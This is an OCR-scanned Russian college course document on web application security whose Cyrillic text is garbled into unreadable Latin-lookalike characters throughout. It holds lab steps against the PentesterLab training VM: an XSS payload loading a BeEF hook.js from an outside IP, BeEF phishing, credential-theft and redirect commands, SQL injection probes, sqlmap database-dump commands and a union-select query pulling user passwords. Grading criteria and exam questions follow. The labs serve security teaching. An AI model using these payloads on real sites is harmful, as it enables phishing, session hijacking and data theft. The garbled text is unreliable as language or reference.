Hlar 10. [epetiti mo ccpuike «XSS  Example 9». [Ipoananmu3upoBaTh JIOTUKY
(GyHKIHOHUPOBaHUS BeO-TIpuiioeHus. OnpeaennTh KOHTEKCT U THIT BO3MOKHOUW aTaku
XSS. B 6paysepe nepeitu mo cchuike

xss/example9.php#<script>alert(1)</script>.

Y6eautnces, uro Hukakoro HTTP-3ampoca He oTnpasisercs.

[Mar 11. 3amyctuth cpeny skcmiyatanuu yszBumocteid BeEF. Ilepeiitu mo
ccebutke «XSS A Example 1». B kauecTBe 3HaueHHs mapaMeTpa Name BBECTH BEKTOP

<script src="http://1.1.1.1:3000/hook.js"></script>

[Mepetiti B koHCcOb BeEF, BBecTn cranmaprthbie sorud u naposib (beef:beef). B
paznene «Online Browser» momken oroOpaxartbes Barn Opaysep. Bo Bkitagke «Detailsy
pocMOTpeTh HH(MOpManuio o Opayzepe U KommbioTepe. IlepeiTu BO BKIAAKY
«Commands». BBIMOJHUTE CIEIYIOINIMEe KOMaHIbl W MPOAHATM3UPOBATH IOJyYCHHBIC
pe3yIbTaThI:

«Create Alert Dialogy;

«Redirect Browsery, nepeHanpaBuB MojIb30BaTels Ha cait http://evil.com;

«Clickjackingy;

«Clippy»;

«Fake Notification Bary;

«Google Phishingy;

«Pretty Theft».

Bormpocs! u 3ananus

BoinonHuTh BCe 3a7aHus 10 MOUCKY YA3BUMOCTEN K atakam XSS Ha caiiTe XSS-
game.appspot.com.

BrINMOSHUTE HECKONBKO 3a/laHMil MO TOMCKY YSA3BUMOCTEM K aTakam XSS Ha
caiite escape.alf.nu.

BBINMOSHUTE HECKONBKO 3a/IaHMil MO TOMCKY YSA3BUMOCTEM K atakam XSS Ha
caitte prompt.ml.


http://1.1.1.1:3000/hook.js%22%3e%3c/script
http://evil.com/
https://t.co/7GVIFfGcBP
https://t.co/7GVIFfGcBP
http://t.co/bvlO9IXxmY

5. JlaGopaTopHnas padora «Ilouck ysizBumocTteii k atakam SQL-injectiony»

[Touck ys3Bumocteii k atakam SQL-injection Ilens paboTs

[enpto nmabGopaTopHOi pabOTHI sIBIsieTCS OOy4YeHHME METOJlaM M CpeICTBaM
UJCHTU(PUKAIIMK U IKCIUTyaTallud YsI3BUMOCTEH B BEONPUIIOKEHHUAX K arakam SQL-
injection.

Kpatkue TeopeTruueckue cBeACHUs

Ataka BHempenmst omeparopoB SQL (SQL-injection) - 310 BHeapeHHe BO
BXO/JIHBIC JJaHHBIE, 00pabaThIBaeMble BEO-TIPUIIOKEHUEM, ONIEpaTopoB si3bika SQL.

HeoOxomumbIM  yclIoBHEM ysSI3BUMOCTH K aTtake SQL-injection sBisercs
HEJ0CTaTOYHas 00pab0oTKa BXOMHBIX HETIOBEPEHHBIX JAHHBIX MPU (HOPMHUPOBAHUU BEO-
npuioxerneM SQL-3ampocoB, 3aBUCSAIIMX OT ATHX JaHHBIX. Artaka SQL-injection
MO3BOJISIET 3JIOYMBINUICHHUKY MOJTYYUTh HETIOCPEACTBEHHBIM JOCTYI K JAaHHBIM 4epe3
Mexann3Mbl CYB/] B 00X0/1 TJOTUKH BEO-TIPUITOKCHUS.

B 3aBucumoctu oT wucnonsdyemoit BeO-npwiokenueM CYBJl u  ycrnoBuii
BHEIPEHMSI BBIICIISIOT CIIeIyolue pasHoBuaHocTH atak SQL-injection [17]:

KJIacCUYecKas;

«cnenas» tuma boolean-based:;

«caenas» tuma time-based:;

error-based,

BJIO’)KCHHAS;

dbparMeHTUpOBaHHAS.

PaccmoTpum  mpumepsl  0a30BBIX  TECTOB, OOHAPYKHMBAIOIIUX  YSI3BHUMOCTH
napamerpa id k  arake  SQL-injection:  //www.test.app.com/index?id=1'
/lwww.test.app.com/index?id=1" //www.test.app.com/index?id=1" order by 1000
/Iwww .test.app.com/index?id=1"-- /lwww.test.app.com/index?id=1'/*
/lwww.test.app.com/index?id=1"#  //www.test.app.com/index?id=1 and  1=1--
/lwww.test.app.com/index?id=1 and 1=2— //www.test.app.com/index?id=1" and '1'='1
/Iwww .test.app.com/index?id=1"and '1'="2

IlocTanoBka 3agaun

BreImomHuTh MACHTU(GUKAIIMIO M IKCIUTyaTalluio ysa3BUMOCTeld K aTakam SQL-
injection.

IlocnenoBaTenbHOCTH JEUCTBUM

[Mlar 1. Ckayath o0paz3 «Web For Pentesters» ¢  BeO-caiita
www.pentesterlab.com. Co3mare BHpTyadbHYIO MallldHy. 3arpy3uThcs C Jaucka. B
Opay3epe OTKPBITh BEO-TIPUIIOKEHHUE.

[Iar 2. Iepeiitu no cewiike «SQL injections A Example 1». TIpoanamu3upoBathb
JOTUKY (YHKIIMOHUPOBaHMS BeO-mprioxeHus. [locaenoBaTenbHO BBECTH CIEAYIONINE
3ampockl, oOparas BHUMaHUE Ha BBIBOJ BEO-TIPUIIOKEHUS, CACNATh MPEANOI0KEHHE O
CTpYKType ucnoiaszyemoro SQL-3ampoca:

sgli/examplel.php?name=root'

sgli/examplel.php?name=root"

sgli/fexamplel.php?name=root'%201=1

sgli/examplel.php?name=root'%201=1#


http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1%22--
http://www.test.app.com/index?id=1%22%23
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1'
http://www.pentesterlab.com/

sgli/examplel.php?name=root'%201=1%20—

sgli/examplel.php?name=root'%201=1%20/*

sgli/examplel.php?name=root'%20'1'="1
sgli/examplel.php?name=root'%20'1'="2

sgli/examplel.php?name=root'%23sqli

HOCJIGI[HI/IG TPpHU 3aIlpocCa IO3BOJIAIOT CACIATh BBIBOA 00 YSA3BUMOCTHU ITapaMCTpa
name k atake SQL-injection. BeimonHuTh ciieayronyo koManay:# python sglmap.py -p
name —dmbs=mysgl —dump -u http://IP address/sqgli/examplel.php?name=root

[IpocMOTpeTh pe3ysibTaThl PabOThl MPOTPAMMBI, MPOCMOTPETH IOIYUYCHHBIC
JaHHBIC U3 0asbl JaHHBIX.

[ar 2. Iepeiitu no cewiake «SQL injections A Example 2». TIpoanamu3upoBath
JIOTUKY (I)YHKHI/IOHI/IPOBE[HI/IH Be6-1'[pI/IJ'IO}K€HI/ISI. HOCJIGI[OB&TCJILHO BBCCTHU CJICAYIOIIIUC
3aIIpOCHI, o6pama$1 BHHUMAHHUE HAa BBLIBOJ Be6-HpI/IJ'IO)KeHI/I$I, caciaTh IMPCAIIOJIOKCHHUE O
CTPYKType ucrnoibdyemoro SQL-3ampoca:

sqli/example2.php?name=root%20and%201=1

sqli/example2.php?name=root'%09and%09'1'="1
sqli/example2.php?name=root'%09and%09'1'="2
sgli/example2.php?name=root'%2b%?2b'

HOCJ’IGI[HI/IG TPpH 3aIlIipocCa IIO3BOJIAIOT CACIATh BBIBO 00 YA3BUMOCTH IIapaMCTpa
name k arake SQL-injection. 3amyctuth Sqlmap, yoeauTbes, 4To B JaHHOM ClIydae OH
HE CMOT UJEHTU(UIIUPOBATH YSI3BUMBIN MapameTp.

lar 3. ITepeiitu mo cceuike «SQL injections A Example 3y». [Ipoananu3upoBaTh
JOTUKY (PYHKIIMOHUPOBaHUS BeO-mpriioxkeHus. [locaenoBaTenbHO BBECTH CIEAYIONINE
3allPpOChI, o6pa1uaﬂ BHUMAHUEC HaA BBIBO/J] Be6-HpI/IJ'IO)I(eHI/I$I, CACIaTh IMPCAIIOJIOKCHUC O
CTPYKType ucnoibdyemoro SQL-3ampoca:

sqli/example3.php?name=root%20and%201=1

sqli/example3.php?name=root’/**/and/**/'1'="1
sqli/example3.php?name=root'/**/and/**/'1'="2
sqli/example3.php?name=root'%2b%?2b'

[locnennue Tpu 3ampoca MO3BOJIAIOT CAENATh BBIBOJ 00 YyS3BUMOCTH MapaMmeTpa
name k arake SQL-injection. 3amyctuth Sqlmap, yoeauTbes, 4To B JaHHOM ClIydae OH
HE CMOXKET UJICHTU(DUIIMPOBATH YSI3BUMBIN MapamMeTp.

lar 4. Tlepeiitu mo cceuike «SQL injections A Example 4». [Ipoananu3upoBaTh
JOTUKY (YHKIIMOHUPOBaHHS BeO-mprioxeHus. [locaenoBaTenbHO BBECTH CIEAYIONINE
3aIlPOChI, 06];)211112151 BHUMAHUEC HA BBIBO/J] Be6-HpI/IJ'IO>I(eHI/I$I, CACIaTh IMPCAIIOTIOKCHUC O
CTpYKType ucnoiszyemoro SQL-3ampoca:

sgli/fexample4.php?id=2

sgli/fexample4.php?id=2'

sgli/fexample4.php?id=2"

sgli/fexample4.php?id=1%2b1

sgli/fexample4.php?id=0%2b2

sgli/example4.php?id=3-1

[Tocnennue Tpu 3ampoca MO3BOJIIIOT CAENATh BBIBOJ 00 YS3BUMOCTH MapaMeTpa
Id x atake SQL-injection. BEIMOIHUT CEAYIONTYI0 KOMaH/IY:


http://ip/

python  sglmap.py -p id —dmbs=mysql —dump -u http://IP
address/sqli/example4.php?id=1

[IpocMOTpeTh MOJy4eHHBIE JTaHHbIE W3 0a3bl JaHHBIX. [I[pOCMOTpETh MCXOHBIN
kon1 PHP-cuenapus.

[ar 5. IMepetitu o cebuike «SQL injections — Example 5». [Ipoanami3upoBath
JOTUKY (YHKIIMOHUPOBaHUS BeO-mpuioxeHus. [locnenoBareabHO BBECTH CIIEAYIONINE
3anpockl, oOpalas BHUMaHUE Ha BBIBOJ BEO-TIPUIIOKEHUS, CACNATh MPEANOI0KEHHE O
CTPYKType ucnoiibzyemoro SQL-3ampoca:

sgli/example5.php?id=2

sgli/example5.php?id=2'

sgli/example5.php?id=2"

sgli/example5.php?id=1%2b1

sgli/example5.php?id=0%2b2

sgli/example5.php?id=3-1

[locnennue Tpu 3ampoca MO3BOJIAIOT CAENATh BBIBOJ 00 YSI3BUMOCTH MapaMmeTpa
Id x atake SQL-injection. BEIMOIHUT CACAYIONIYI0O KOMaH/Y:

python  sglmap.py -p id —dmbs=mysgqgl —dump -u http://IP
address/sqli/example5.php?id=1

[IpocMoTpeTh MoOTy4YeHHBbIE JaHHbIE U3 0a3bl AaHHBIX. [IpoCMOTpPETh MCXOAHBIN
ko1 PHP-cuienapus.

[lar 6. ITepetitu no cebuike «SQL injections — Example 5». I[Ipoananmu3upoBaTh
JOTUKY (DYHKIITMOHUPOBAHUS BEO-TIPUIIOKEHUS.

[TocnenoBarenbHO BBECTH CIEAYIONIME 3alpOChl, oOpalasi BHUMaHUE Ha BBIBOJI
BEO-TIPHIJIOKEHUS, CJeNaTh MPEANOJOKEHUEe O CTPYKType wucnoibdyemoro SQL-
3ampoca:

sgli/example6.php?id=2

sqli/example6.php?id=2'

sqli/example6.php?id=2"

sgli/example6.php?id=1%2b1
sqli/example6.php?id=0%2b2
sgli/example6.php?id=3-1
sgli/example6.php?id=5-3

[Tocnennue Tpu 3ampoca MO3BOJIIIOT CAENATh BBIBOJ 00 YS3BUMOCTH TMapaMeTpa
id xk arake SQL-injection. 3amyctuts Sqlmap, yoeauThcst, 4TO B JAHHOM Cydae OH He
MOXET MPO3KCITyaTUpOBaTh ysi3BUMbIN napametp. [IpocMmoTpeTs ucxonusii ko PHP-
CLEHapHsl.

ar 7. ITepeiitu mo ccwiike «SQL injections A Example 5». [Ipoananmu3upoBaTh
JIOTUKY (PYHKIMOHUPOBaHMS BeO-mpuinoxeHus. [locaeaoBarenibHO BBECTH CIEAYIOIINE
3anpockl, oOpamas BHUMaHUE Ha BBIBOJ BEO-TIPUJIIOKEHUS, CAENATh MPEANOI0KEHHE O
CTPYKType ucnoiibzyemoro SQL-3anpoca:

sgli/fexample7.php?id=2
sgli/example7.php?id=2'
sgli/example7.php?id=2"
sgli/fexample7.php?id=1%2b1


http://ip/
http://ip/

sgli/fexample7.php?id=3-1

sgli/fexample7.php?id=2%0Aand%201=1

sgli/fexample7.php?id=2%0Aand%201=2

sgli/example7.php?id=2%0A%23sqli

[Tocneanue Tpu 3ampoca MO3BOJSIOT CAENATh BHIBOJ 00 ySI3BUMOCTH MapameTpa
Id x atake SQL-injection. 3amyctuth Sqlmap, yoeauTbcs, 9TO B JaHHOM ClIydae OH He
MOXET MPOIKCIUTYaTUPOBATh YSA3BUMBIN MapameTp. BBINOIHUTH CIIETYIOMIUE 3aIpOCHI
171 n3BjaeueHus aaHHbix u3 CYB/I:

sgli/example7.php?id=2%0Aunion%?20select%201

sgli/example7.php?id=2%0Aunion%?20select%201,2

sgli/example7.php?id=2%0Aunion%?20select%201,2,3

sgli/example7.php?id=2%0Aunion%?20select%201,2,3,4

sgli/fexample7.php?id=2%0Aunion%?20select%201,2,3,4,

5

sgli/example7.php?id=2%0Aunion%?20select%20name, passwd,1,1,1 from users

PyyHbiMH MeTOaMU TOJMYyYHUTh JaHHblE U3 0a3bl JaHHbIX. [IpocMoTpeTh
ucxoansit koa PHP-ciienapusi.

Bomnpocs u 3a1anus

C nomoIipto mporpammsl Sqlmap uaeHTHdGUIMPOBaTh YA3BUMBIN K aTake SQL-
injection mapametp u monyuuth conepkumoe CYB/I B ciydae, korna BeO-IpUIOKEHHE
3anpeniaeT UCIob30BaHUE MPOOEIIOB BO BXOIHBIX JTAHHBIX.

[TocTpouts u BemonHUTh SQL-3anpoc, npuBoAgIIUN K OTKa3y B OOCITYKUBAHUU
BeO-TIPHIIOKEHMSI, ySI3BUMOTO K aTtake SQL-injection.

Jlns BeO-nipuiIoKeHHs, ySI3BUMOro K atake SQL-injection u ucmob3yroImero s

xpanennst JaHHeIX CYBJ[ MySQL, nmomydnth comepuMoe CIy)KeOHOW 0a3bl JaHHBIX
INFORMATION_SCHEMA.
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[lacmopT  KOHTPOJBHO-U3MEPUTENbHBIX  MaTE€pUaNOB  JUIi  MNPOBEICHUSA
npoMexxyTouHoit arrectauuu no kypcy MJIK. 09.03. O6ecneuenrie 6e30nacHOCTH BEO-
MIPUWIOKEHUN

O6uacTb NpUMEHEHUs

KoHTponbHO-U3MepUTENbHbIE MaTepuaibl JJIg MPOBEACHUS MPOMEKYTOUHON
arrectanimy 1o kKypcy MJIK. 09.03. OGecrnedenne 0e30mMacHOCTH BEO-TIPHIIOKCHHMA
MpeHA3HAYECHBI ISl POBEPKHU PE3YyJIbTaTOB OCBOCHUSI YMEHUM W YCBOCHUSI 3HAHUI B
COOTBETCTBHUM C Mporpammoil npodeccuonanbuoro moayisa 1IM.09. IIpoexktupoBanue,
pa3paboTKa ¥ ONTUMU3AIUS BEO-TIPUITOKEHUH.

VY cnoBus BRIMOJHEHUS 33/IaHUS

DK3aMeH MPOBOIUTCS B (popMe BBITIOJIHEHUS MPAKTHUECKOTO 3a1aHus. B Owmitere
COJICP’KUTCSI OJJHO TMPAKTUYECKOE 3aJlaHKE€, BBIIOJHEHUE KOTOPOro TpeOyeT HaIUYHUs
MPAKTUYECKOTO OMBITa PAOOThI C MHCTPYMEHTAIBHBIM U MPHUKIATHBIM MPOrPAMMHBIM
oOecrieueHneM, a TaK)Ke€ COOTBETCTBYIOIIMX 3HaHMM. KaxaoMy CTylIeHTy BbIJaeTCs
CBOW BapuaHT.

Mecto mnpoBeleHHS TPOMEXKYTOUYHOM aTTEeCTAllMd — KOMIIBIOTEPHBINA Kiacc.
Ucnonszyemoe 000pyqoBaHWE — TMEPCOHAIBHBIA KOMIIBIOTEp C YCTaHOBJICHHBIM
NPUKIAAHBIM MPOrPAMMHBIM  OOECIIEYEHHEM U HaO0OpOM  CHEIUaTU3UPOBAHHBIX
MIPOTPaMM.

MakcumaibHOE BpeMsl BBITIOJTHEHHSI 3aqaHuii omtera — 120 mMuH.

[IpuMepbl IpakTHYECKUX 33134

1. BeimonHuth cO0p nH(pOpMaALUK 0 BEONPUIIOKEHUH.

2. BbINOMHUTH TECTHMpPOBaHHWE 3AIIMILIEHHOCTH MEXaHM3Ma  YyIpaBJICHUS
JIOCTYTIOM HCCJIETyEMOT0 BEO-TIPUIIOKEHHUS

3. IIpoBectn TecTupoBaHME Ha YCTOMYMBOCTH K arakaM OTKa3za B
00CITy>KUBaHUHT

4. BBIMOTHUTH TECTUPOBAHHE YCTOWYMBOCTH BeO-mpuiiokeHus kK DoS-atakam
Ha ypoBHe mipotokona HTTP.

5. BrImomHUTH HASHTU(DUKALNUIO U SKCILTYaTaIUI0 YI3BUMOCTEH K aTakaM XSS

6. BpIMOaHUTE UACHTU(DUKALMIO U IKCIUTyaTalluio ySI3BUMOCTeN K atakaM SQL-
injection.



Tabmuua 1- TunoBble NpakTUYECKUE 3aJaHUs Ul IPOBEAEHUS TPOMEKYTOUHON

arTecTaluu
Koab! nposepsieMbIx
Tunosoe 3ajaHune pe3y/ibTaToB
y 3u
[Ipaktnueckoe 3amanme Ne 1 — Bemomauts cOop Vy3 33

uH(pOpMaIUU 0 BEOIIPHUIIOKEHUH.

2. Kpurepuu oneHku
KonnuecTBeHHas OLleHKa

Tabnuna 2- Kputepun KOJTU4eCTBEHHOM OLIEHKU

Brinonxun (MakcuMaabHO

JlencTBus

50 6aoB)
Brimonnenne npaktuueckoro 3aganus Ne 1 50 6annoB
[IpaBMIIBHOCTH BEIOOpA HHCTPYMEHTAPUS JIJIs1 PEIICHUS 10 6aII0B
MPaKTUYECKOMN 3a/1au

25 GamnoB
[TonHoTa oTueTa

10 6annoB
CaMOCTOSTENLHOCTD BEIITOJTHCHHS 3aJaHuUs
OTBeTHI HA IOTTOJTHUTEIBHBIC BOIIPOCHI 5 baynos
HrtoroBoe Koan4uecTBO OANIOB: 50
5 «oTIU4YHOY 41-50 GammoB
4 «XOpOoIIOo» 31-40 6amnna
3 «yZOBIIETBOPUTEIHHO 21-30 GamioB
2 «HEYJIOBJIETBOPUTETHHO 0-20 6amioB

KauecTtBeHHas orieHKa

OueHka «5» BBICTABISIETCS B TOM Cllydyae, €ClIHM CTYIEHT MpPOJEMOHCTPUPOBAI
BBICOKMW YPOBEHb 3HAHUM W YMEHUH MO 3aJaHusiM Owuiera, OO0OCHOBaJl BBIOOP
HCIIOJIb3YEMOT0 TMPOrPaMMHOTO OOecreueHusl [Jsl pelIeHHs NPaKTHUYEeCKUX 3aj]ad.
CryneHTOM MOTYT OBITH JOMYIICHBI HEAOYETHl IPU BBINOJHEHUH MPAKTHUYECKUX
3aJlaHuil, UCIIPABJICHHbIE CTYICHTOM CAMOCTOSITENIFHO B Ipoliecce 000CHOBaHUSI.

Omenka «4» BBICTAaBISETCS B TOM Cilyd4ae, €ClU CTYAEHT MPOIAEMOHCTPUPOBAI
MOHMMAaHUE OCHOBHOTO cojepkaHusi 3amaHuil Owusera. CTyIeHTOM MOTYT OBITh




nomymieHsl 1 ommOka W HEmOYeThl TpPU BBINIOJHCHWM 3aJlaHUN, WCIPABICHHBIC
CTYJICHTOM C TIOMOIIBIO MPEIO aBaTENsI.

Omnenka «3» BBICTaBISETCS B TOM CIIy4ae, €CIHM CTYICHT MPOJAEMOHCTPUPOBAI
MOHUMAaHWE OCHOBHOTO COJEp)KaHWA OuieTa, HO JAOMyCTHI 2-3 OMmHOKK mpH
BBITIOJITHCHUH TIPAKTUYECKUX 3alaHuid. MOTyT OBITh JAOMYIICHBI 2-3 HETOYHOCTH WIIA
HE3HAYUTETbHBIC ONTHOKHU, UCTIPABICHHBIC CTYICHTOM C TIOMOIILIO MTPEIO aBaTENs.

Orenka «2» BBICTABIICTCS B TOM CIIy4ae, €Clu CTYACHT HE TMPOASMOHCTPHUPOBAIT
IOHUMaHWE OCHOBHOTO cojiepkaHusi Ounera. [IpakTrueckoe 3aaHne He BHITIOJTHCHEI.



4 OueHnka 1o y4e0HO ¥ MPON3BO/JCTBEHHOH MPaKTHKe
4.1. O01HMe MoJI0KEeHU A

Llenpto oueHkH 1O Yy4yeOHOW M (WJIM) TPOU3BOACTBEHHOM MPAKTUKE SIBISETCS
OLICHKa!

1) npodeccruoHaIbHBIX M OOIIMX KOMIIETEHIIUIA;

2) MPaKTHYECKOTO OMBITA H YMEHHIA.

4.2. YuyeOHasi MPaKTHKA

KoHTponb M oOlLlEHKa pPe3ysibTaTOB OCBOEHHUS Y4YEOHOM MNPAaKTHKH OCYIIECTBISETCS B
npouecce Y4YeOHBIX 3aHSATHM, CaMOCTOSITENIBLHOIO BBINOJHEHUS OOy4arolUMUCS 3aJaHuil,
BBINOJIHEHUS] IPAKTUYECKUX TPOBEPOUYHBIX PadoOT.

B pesynbTare ocBoeHus yueOHOM NPAaKTHUKKM B paMKaX OCBOEHHS NPO(eCcCHOHAIBHOIO
Moaynst — oOydaromuecs — NPOXOAAT  MPOMEKYTOUHYIO — aTTecTalmio B (opme
Qg QepeHIpoBaHHOIO 3aueTa. Pe3ynpTaToM KOTOporo siBisercs oneHka. IlpomexxyTouHas
aTTecTallisd 3aHOCUTCA B 3a4ETHYIO BEAOMOCTb MO Yy4yeOHOW mpakTuke. Dopmoii
I pepeHIIPOBaHHOIO 3a4eTa SBISETCS] YCTHBIN OTBET Ha MOCTaBJICHHBII BOIIPOC.

4.2.1. Buabl padoT nmo y4eOHOW NMpakTHKe W NMpoBepsieMble pe3yJibTAThI 00yYeHHs IO

HpO(l)ECCI/IOHaJII)HOMy MOAYJII0

Buasbi pador Koabl npoBepsieMbIX pe3yJibTaTOB
IIK OK 110, ¥
1. Pa3paboTka KIMEHTCKOH 4acTu MK 9.1 -1IK 9.10 OK 01-10 I10 01- 04, Y 01 - 03
caiita ¢ ucnoiap3oBanueM JavaScript
u JQuery
2. Paspabotka cepBepHoi yactu caiita | I1K 9.1 -TIK 9.10 OK 01 -10 I10 01- 04, Y 01 - 03
c ucnonb3zoBanrem PHP u MySQL
3. Oo0ecneuenne nHGOPMaALMOHHON IIK 9.1 - TIK 9.10 OK 01 -10 10 01- 04, Y 01 - 03
0€30MMacHOCTH BEO-TIPOEKTA.
4. TloaroroButesnbHble paboThl: 0Ommit | 11K 9.1 —11IK 9.10 OK 01 -10 1O 01- 04, Y 01 - 03

ayJiT CaiTa, aHaJIIN3 KOHKYPEHTHOMN
Cpe€lbl, CO3/1aHNE PE3EPBHON KOIMU

caifta

5. Bnyrtpennss SEO ontumuszanus IIK 9.1 —TIK 9.10 OK 01 -10 I10 01- 04, Y 01 - 03
caira

6. CocraBieHHE CEMaHTHICCKOTO sJIpa TIK 9.1 —TIK 9.10 OK 01 -10 10 01- 04, ¥V 01 - 03

7. Knacrepusaius KIFOYEBBIX CIIOB U IMK 9.1 —TIK 9.10 OK 01-10 I10 01- 04, Y 01 - 03
COCTaBJICHHE KapThl PEJIEBAHTHOCTH

8. Tlouck u ycrpanenue nyoneii caiita, | I[K9.1 —TIK9.10 OK 01-10 I10 01- 04, Y 01 - 03

OIITUMH3aIs OCHOBHBIX TCI'OB,
TIIOMCK U YIAJICHUC OUTBIX CCHLIOK

9. OumncTKa ¥ ONTHMHU3AIMS KOIa JIJIs K 9.1 —-TIK 9.10 OK 01 -10 1O 01- 04, Y 01 - 03
YCKOPEHHS 3arpy3Ku canTa
10. Ontumuzanus n3o0paxennit Alt, I1IK 9.1 —-TIK 9.10 OK 01 -10 I10 01- 04, Y 01 - 03

Title 1 pucyHkoB

11. KOHTEHT-MapKETHHT IMIK 9.1 —TIK 9.10 OK 01 -10 I10 01- 04, Y 01 - 03
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PACCMOTPEHO YTBEPJI)KAIO:
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«IIpodeccrnoHanbHOro UKIa» M.A. Apuep
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[Ipencenarens MK Hcaxosa O.B.

KOHTpOJIbHO-OIIeHO‘IHOe CpeacTBoO 110

YII 09 IHNPOEKTUPOBAHUE, PABPABOTKA 1 OITUMUN3AIUA BEB-
MPUJTOKEHUA

D®opMa IPOMEKYTOYHON aTTECTALUM: HuddepeHpoBaHHBIM 3a4eT

Tun KOHTPOJIBLHOIO 3aJaHUA: YcTHBINM OTBET

IIpoBepsieMble pe3yabTaThl 00yYeHHs : OK 01 - 10, 1K 01 - 10, 10 01 - 04, ¥ 01 - 03

Kpurtepuu onenku

Onenka Kpurepun
«OTnugHO» - 5 1. naH MoNHEBIN OTBET HA OCHOBE U3YyYCHHBIX TCOPHUI;

2. Marepua MOHIT U OCO3HAaH;

3. MaTepuas U3JI0KEH B ONPEIEICHHOMN JIOTHYECKOH MMOCIIeI0BaTEIbHOCTH
JIUTEPATYPHBIM SI3BIKOM;

4.0TBET CaMOCTOATEILHBIM.

«Xopormuioy - 4 1. nan npaBUIIBHBINA OTBET HA OCHOBE M3YYCHHBIX TEOPHIA;

2. Marepua MOHSIT U OCO3HAH;

3. MaTepuan U3JI0KCH B ONPENICIIEHHON JIOTHYECKOW MOCIEI0BATEIIEHOCTH
JUTEPATYPHBIM S3BIKOM;

4. nomymieHs! 2-3 HeCyIIeCTBEHHBIC OMIMOKH, UCIIPABICHHBIC IO TPEOOBAHHIO
MIperoIaBaTelsl, WIH HEKOTOpask HEMOJIHOTA OTBETA, IEPOXOBATOCTh B H3JIOKECHUH
MaTepHara.

«Y IOBIETBOPHUTEIILHO - 3 1. MaTepuan B OCHOBHOM H3JIOKEH ITOJHO, HO TIPH 3TOM JOIMyIIeHbl 1-2
CYIIECTBEHHBIC OIHUOKH;
2. OTBET HGHOJ’IHBIfI, IMOCTPOCH HECBA3HO, C MOMOIIBIO HABOAAIINX BOIIPOCOB

npenoaaBaTe.
«HeynoBieTBOpUTENBEHOY - 2 OTBET 0OHapyXKMBaeT HE3HAHUE WM HEMIOHNMaHue OoJbIeil 1 Hanbosee
CYIECTBEHHON YacTH y4eOHOTO MaTepuaa
CocraBuTeib:
KioueBa E.A. MPENoaBaTeNb JUCIUILINH

obmenpodeccnoHaTBHOTO 1
po(hecCHOHATBLHOTO IHKIIA

CoiktbiBKap, 2021



Bonpocs! quist angpepeHumpoBaHHOIO 3a4€eTa

15.

16.
17.
18.
19.
20.
21.

Pabota c ¢aiinoBoii cucreMoi

OcHOBBI paboOTHI ¢ 6a3aMu TaHHBIX

CBs3b ¢ 6a3amu ganHeix MySQL
OOBEKTHO-OPUEHTHPOBAHHOE MporpaMMupoBanne Ha PHP
CoxkeTsl U ceTeBble (QPYHKLINU

S3bIk crieHapues JavaScript.
OOBEKTHO-OPHUEHTUPOBAHHOE MTPOTPAMMHPOBAHNE
WNHCTpyMEHTBI U METOIBI BBISIBIICHUS TPeOOBaHUI

TunoBble perienus 1no pa3padoTke BeO-MPUI0KEHUN

. HopMbI 1 ctanaapTsl opopMiIeHHsS TEXHHUECKOH TOKYMEHTAllUU
. [IpoBenenue ankernpoBanus. [IpoBeaeHe MHTEPBBIOUPOBAHNUS
. OdopmiieHre TEXHUIECKOI TOKYMEHTAIIUU

. Be160p 0AHOTO U3 TUMIOBBIX PEIICHUN

. Pabora co CIICHUAIIN3UPOBAHHBIM IIPOTrpaMMHbBIM obecrnieueHreEM AJI1 IJNTaHUPOBAaHHA BPCMCHU U

OopraHu3aiuy padoThl ¢ KIUEHTaMU

SI3BIKM TTPOTPAaMMHPOBAHUSI M Pa3METKH UIS Pa3paOOTKU KIMEHTCKOW M CEpBEpHOW YacTH BeO-
MIPUIIOKEHUN

ITpuHuns! paboThl 00BEKTHOM MOJIENIN BEO-NIPUIIOKEHUHN U Opay3epa

OCHOBHBIE TEXHOJIOTHH KIHEHT-CEPBEP

OcobenHocTr 0TOOpaxeHus BeO-NIPUII0KEHUH B pa3Mepax pabodero npocTpaHCcTBa yCTPOMCTB
Ocobennoctu oroOpaxkeHus neMeHToB 1P B pa3nnyHbIx Opayzepax

Oco6eHHOCTH BBIOpaHHOM Cpejibl MPOrpaMMHUPOBAHUS U CUCTEMBI YIpaBiIeHUs 0a3aMU JaHHBIX

Pa3paboTka nporpaMMHBI KOJI KITMEHTCKOW U CEpBEPHON YacTH BEONPUIIOKEHU I



4.3. Ilpou3BoACTBEHHAs] MPAKTHKA

OreHka 1o Mpon3BOACTBEHHON MPAKTUKE BHICTABIISIETCS HA OCHOBAHUHU ATTECTAIIHOHHOTO
JUCTa C yKa3aHWEM BUIOB palOT, BBHIOJHEHHBIX OOYYAIOIIMMUCS BO BpeMs MPAKTUKH, HX
o0ObeMa, KadecTBa BBHITIOJHEHUS B COOTBETCTBUU C TEXHOJOTHEH U TpeOOBaHUAMHU
OpraHu3aIuy, B KOTOPOU MPOXOAniia MPaKTHKA U OTYETA 1O MIPAKTHKE.

OT4eT 1Mo MPOU3BOJICTBEHHOHN MPAKTUKE MTPOBOJIUTCS IO 3aBEPIICHUIO OCBOCHHSI pabodeit
yueOHOM MporpamMmbl IO TMPOU3BOACTBEHHOW MpakTUKEe B (opMme MpeicTaBiIeHHs] OTYeTa
CTyJIEHTaMU TEXHHKYMa W €ro 3allluThl. 3alllhTa OTYeTa MOXET MPOBOJUTHCS KAaK B BUJC
Mpe3eHTAINi, TaK U B JOPME YCTHOTO BHICTYILJICHHUS.

B kauecTtBe mpWIOKEHHS K OTYETYy IO TMpakTUKe oOydaromuiics odopmiser
rpadguyeckue, ayauo-, ¢GoTo-, BHUIALO-, MaTepUalbl, HAIVISIAHBIE OOpa3Ibl W3ACIHUMA,
MOITBEPKAAIOIINE MPAKTUYECKUAN OTIBIT, TOTYUYEHHBIN Ha MPaKTHUKE
4.3.1. Buabpl paéoT mo NPOM3BOJACTBEHHOH NpaKTHKe W TpoBepsieMble Pe3yJbTAThI

00y4eHHsI 0 MPodeccHOHATBLHOMY MOAYJIIO

Buasbi pador Koabl npoBepsieMbIX pe3yJibTaTOB
IIK OK 1o, y

PaboThI MO IPOABMKEHHIO BEO-TIPOSKTA IIK 9.1 —-TIK 9.10 OK 01 -10 I10 01- 04, Y 01 - 03
B CETHU UHTEPHET.
ITouck 1 nUKBUIALMS YSI3BUMOCTEM IIK 9.1 -TIK 9.10 OK 01 -10 10 01- 04, ¥V 01 - 03
caiita
